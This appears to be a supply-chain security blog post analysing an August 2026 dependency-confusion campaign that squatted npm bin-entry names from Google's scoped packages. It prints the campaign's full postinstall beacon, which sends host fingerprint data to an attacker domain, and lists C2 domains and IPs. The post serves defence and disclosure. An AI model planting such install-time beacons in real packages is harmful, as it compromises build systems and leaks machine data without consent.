npm Bin Entry Harvesting: A Dependency Confusion Blind Spot

SafeDep Team
6 min read

Summary

On August 12, 2026, an actor published 21 npm packages that squatted CLI binary names exposed by Google’s scoped packages. The packages did not squat package names. They targeted the bin field, the part of package.json that defines executable command names. Every scoped package that declares a bin entry creates an unscoped name that anyone can register. None of the standard dependency confusion mitigations (scoped publishing, registry allowlists, lockfile pinning) cover this gap. The payload was a minimal postinstall beacon. The technique is the story.

The technique

Dependency confusion, as Alex Birsan documented in 2021, works by registering public packages whose names match internal private dependencies. The defense is straightforward: publish your internal packages under a scope (@myorg/package) and the public registry cannot create a naming conflict.

That defense has a structural gap. When a scoped package declares a bin entry, the binary name cannot include the scope. The @angular/service-worker package exposes a binary called ngsw-config. The @bazel/bazelisk package exposes a binary called bazelisk. These names live in the public npm metadata, visible to anyone:

Terminal window
curl -s https://registry.npmjs.org/@angular/service-worker/latest | jq '.bin'
{
"ngsw-config": "ngsw-config.js"
}

The binary name ngsw-config was never registered as a standalone npm package. Neither was bazelisk, localize-extract, gemini-cli-a2a-server, nor any of the other 20 names in this campaign. They sat unclaimed because nobody thinks to reserve binary names.

The researcher behind this campaign built a systematic pipeline around this gap. Query Google affiliated scoped packages for their bin entries. Strip the scope. Check which binary names have no matching standalone package on the public registry. Register them.

What the packages contained

Every package followed the same template: a package.json with a postinstall hook, a postinstall.js beacon, and a source.txt file pointing to the legitimate Google repository where the squatted name originates.

// package/package.json ([email protected])
{
"name": "ngsw-config",
"version": "1.0.0",
"bin": { "ngsw-config": "noop.js" },
"scripts": { "postinstall": "node postinstall.js" },
"description": "Security research canary for authorized vulnerability testing.",
"author": "r00tdaddy",
"license": "ISC"
}

The postinstall script collected system fingerprint data and sent it to a per-package subdomain:

// package/postinstall.js ([email protected])
const os = require('os');
const https = require('https');
const metadata = JSON.stringify({
timestamp: new Date().toISOString(),
pkg: process.env.npm_package_name,
hostname: os.hostname(),
platform: process.platform,
arch: process.arch,
node: process.version,
npmEvent: process.env.npm_lifecycle_event,
});
const request = https.request({
hostname: 'wxc97jnc.instances.poc.jchunt.top',
path: '/ngsw-config',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(metadata),
},
});
request.on('error', () => {});
request.setTimeout(3000, () => request.destroy());
request.write(metadata);
request.end();

The beacon collects no credentials, tokens, files, or environment variables. It sends a system fingerprint (hostname, platform, CPU architecture, Node version) to confirm that a build system installed the package and to identify the machine. This is the standard dependency confusion proof of concept pattern.

The source.txt file in each package documented exactly where the researcher found the squatted name:

// source.txt ([email protected])
https://github.com/angular/angular/blob/435f8b2b8b67277fc69888911251d14b32705828/packages/service-worker/package.json

These breadcrumbs use commit-SHA permalinks, not branch references. The researcher documented their evidence chain for a potential responsible disclosure report.

Reconnaissance method

The 21 packages came from three discovery techniques, visible in the source.txt references.

npm registry metadata scraping. Eighteen of the 21 names match confirmed bin entries in packages on the public npm registry. The @angular/localize package declares localize-extract and localize-translate as binaries. The google-ads-api-report-fetcher package declares gaarf, gaarf-bq, gaarf-node, and gaarf-node-bq. The chromecast-webdriver-server package declares chromecast-webdriver-cli. The scoped packages @google/gemini-cli-a2a-server, @google/chrome-enterprise-premium-mcp, @googlemaps/code-assist-mcp, @googlemaps/github-policy-bot, and @bazel/bazelisk each declare a bin entry matching their unscoped name. Even koa-karma-proxy (a Polymer project) exposes karma-proxy as a bin entry. Nobody had registered any of these 18 binary names as standalone packages before this campaign.

Sourcegraph and GitHub crawling. Three packages (broadcast-graphics-mcp, upload-to-gcp, tfjs-inference) have no matching bin entry on any public npm package. Their source.txt files point to GitHub repositories or Sourcegraph searches, suggesting the researcher found these names in package.json files inside Google repositories that were never published to the public registry. The @tensorflow/tfjs-inference directory exists in the tensorflow/tfjs monorepo with private: false set, but was never published to npm.

Campaign timeline

The actor published in two waves on August 12, 2026, then removed everything:

WaveTime (UTC)PackagesVersionNotes
113:23gaarf, upload-to-gcp3.2.1Version-matched real release lines
216:57-16:5919 remaining packages1.0.0Bulk publish in 70 seconds
Unpublish17:22:18-17:22:50All 21Alphabetical order, 32-second window

The four-hour gap between wave 1 and wave 2 suggests the researcher waited for callbacks before committing the full list. The 32-second unpublish window and alphabetical ordering indicate an automated script.

Two packages used version 3.2.1 instead of 1.0.0. For gaarf, the legitimate google-ads-api-report-fetcher has versions 3.2.0 and 3.3.0, but 3.2.1 was never published. The researcher fabricated a plausible patch version between two real releases.

The 21 packages and their targets

google-dep-confusion-bin-harvesting-packages.csv
Row Ecosystem Package Version
1 npm bazelisk 1.0.0
2 npm broadcast-graphics-mcp 1.0.0
3 npm chrome-enterprise-premium-mcp 1.0.0
4 npm chromecast-webdriver-cli 1.0.0
5 npm chromeos-webdriver-cli 1.0.0
6 npm code-assist-mcp 1.0.0
7 npm gaarf 3.2.1
8 npm gaarf-bq 1.0.0
9 npm gaarf-node 1.0.0
10 npm gaarf-node-bq 1.0.0
11 npm gemini-cli-a2a-server 1.0.0
12 npm github-policy-bot 1.0.0
13 npm karma-proxy 1.0.0
14 npm localize-extract 1.0.0
15 npm localize-translate 1.0.0
16 npm ngsw-config 1.0.0
17 npm tfjs-inference 1.0.0
18 npm tizen-webdriver-cli 1.0.0
19 npm upload-to-gcp 3.2.1
20 npm wct-st 1.0.0
21 npm xbox-one-webdriver-cli 1.0.0
21 rows
| 3 columns

npm user rootdaddy-msrc (ayyitscompton@gmail[.]com) published all 21 packages with the author field set to r00tdaddy.

Prior art

The technique builds on established research. alxndrsn documented npm binary confusion in August 2024, showing that squatted bin names could hijack npx execution. npm rejected the report as “consistent with documented expectations.” Roni Carta and Adnan Khan formalized “npx confusion” at the DEF CON 33 security conference in August 2025. Aikido found 128 unclaimed package names referenced in documentation and observed 121,000 downloads over seven months.

This campaign differs in one respect. Prior research focused on npx execution hijacking, where a developer types npx <binary> and npm resolves the binary name as a package. This campaign targets npm install via postinstall hooks. If an internal build system references ngsw-config as a bare dependency instead of consuming it through @angular/service-worker, the public package wins. The attack surface shifts from individual developers running npx to automated build pipelines resolving dependencies.

The defensive gap

Standard dependency confusion mitigations do not cover bin entry names:

MitigationCovers package namesCovers bin names
Scoped packages (@org/pkg)YesNo (bin names cannot include scopes)
Claim unscoped placeholdersYes (if names known)No (nobody claims bin names)
Registry allowlists (.npmrc)YesNo
lockfile pinningYesNo

Organizations that publish scoped packages should audit the bin entries those packages expose and register the unscoped names as placeholder packages on the public registry. A query across all packages in a scope produces the list:

Terminal window
# List all bin entries exposed by packages in an npm scope
for pkg in $(npm search --json "@myorg" 2>/dev/null | jq -r '.[].name'); do
curl -s "https://registry.npmjs.org/$pkg/latest" | jq -r '.bin // empty | keys[]'
done | sort -u

Any name in that list that does not exist as a standalone npm package is a dependency confusion vector.

Indicators of compromise

  • npm publisher: rootdaddy-msrc (ayyitscompton@gmail[.]com)
  • C2 domain: *.instances.poc.jchunt[.]top (wildcard DNS, resolves to 152.53.138.110)
  • C2 apex: jchunt[.]top (behind Cloudflare at 104.21.61.226, 172.67.216.7)
  • Payload: postinstall.js sends system fingerprint (hostname, platform, architecture, Node version) via HTTPS POST
  • POST path: /<package-name> (one path per package)
  • 21 unique C2 subdomains, one per package
  • All packages removed from npm registry within hours of publication. Artifacts recovered from npmmirror.com

References

  • npm
  • oss
  • malware
  • supply-chain
  • security
  • dependency-confusion

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.